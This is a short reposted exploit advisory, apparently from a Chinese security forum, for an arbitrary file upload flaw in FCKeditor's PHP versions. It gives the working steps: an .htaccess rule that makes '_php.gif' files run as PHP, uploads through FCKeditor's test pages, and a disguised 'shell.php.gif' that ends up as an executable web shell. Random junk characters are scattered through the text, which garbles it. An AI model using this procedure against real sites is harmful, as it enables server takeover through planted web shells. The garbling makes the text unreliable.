FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 ) f1 A4 p/ L- [6 Y作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 9 l; Z1 X- o+ {7 K3 s% o7 x减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 5 @% F3 o  o3 m) ~' J[+] Author : sinesafe.cn * O- F6 X: H2 Y: Q+ G1 i[+] Website : WwW.sinesafe.cn 4 j# U0 x! J0 d3 D——————————————————— * K5 A; X  B! W1.create a htaccess file: 9 A) V. m6 Z# ?2 E' D+ qcode: - _- P3 ?+ q7 M% U- h<FilesMatch “_php.gif”> 1 Y8 f- A: D5 u1 K( P' v# BSetHandler application/x-httpd-php 5 N; O! N) b0 K4 x% w! u</FilesMatch> ( M. V* ~( F9 H$ X ( |3 u& z5 }4 E2 ^) o" n7 U2.Now upload this htaccess with FCKeditor. + y; [" X9 L* Y% H* h) jhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html ; n% |5 t( h4 [3 P http://www.sinesafe.cn/FCKeditor ... onnectors/test.html % t( u# |0 X8 p6 E. m———————————————————————————————- , ], P1 A. T' E* t3 z% ^, U$ z3.Now upload shell.php.gif with FCKeditor. - c! }, M, `3 H: F3 ^) u8 ~- p+ E  A4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 1 b7 v) x6 s, f- f1 _- M, @3 }5.http://www.sinesafe.cn/anything/shell_php.gif 2 P( I( v3 t# V6.Now shell is available from server.

$ {' h5 o& L# Y0 w6 B5 t3 h1 R
( ]+ G2 L; u, Z# {- U